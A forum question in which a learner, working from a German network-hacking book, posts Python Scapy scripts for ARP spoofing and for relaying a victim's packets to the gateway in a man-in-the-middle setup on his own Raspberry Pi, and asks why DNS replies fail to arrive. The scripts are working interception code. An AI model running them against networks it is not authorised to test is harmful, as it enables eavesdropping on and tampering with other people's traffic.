[Python] Scapy forwarding packages

I'm just learning python with scapy. I read and use the book "Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python" (German).

I would like to try a man in the middle attack by using arp-spoofing. I have My Computer, the victim (my raspberry pi) and the standard gateway.

To spoofing, i use a code snippet from the book

#!/usr/bin/python

import sys
import time
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) < 3:
print sys.argv[0] + " <target> <spoof_ip>"
sys.exit(0)

iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
sendp(packet, iface=iface)
time.sleep(10)


It works, my victim shows my mac as gateway. The victim sends packets with the correct ip but my mac address. Now the victim should open a website (wget http//example.com) and I want to use Wireshark to read the traffic. But I have to redirect the packages (DNS and TCP/HTTP). I tried it with this code:

#!/etc/usr/python

from scapy.all import *
import sys

iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"

def handle_packet(packet):
if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
packet[Ether].dst = GATEWAY_MAC
sendp(packet)

print "A packet from " + packet[IP].src + " redirected!"

sniff(prn=handle_packet, filter=filter, iface=iface, store=0)


Wireshark shows a packet with the correct datas (IP Source = Victim IP, IP Destination = Gateway IP, MAC Source = Victim MAC, MAC Destination = Gateway MAC). The Gateway is a DSL-Router, so also a "DNS-Server".

But my Raspberry doesn't receive a DNS response. What's my fault?

Yours faithfully,

MatStorm

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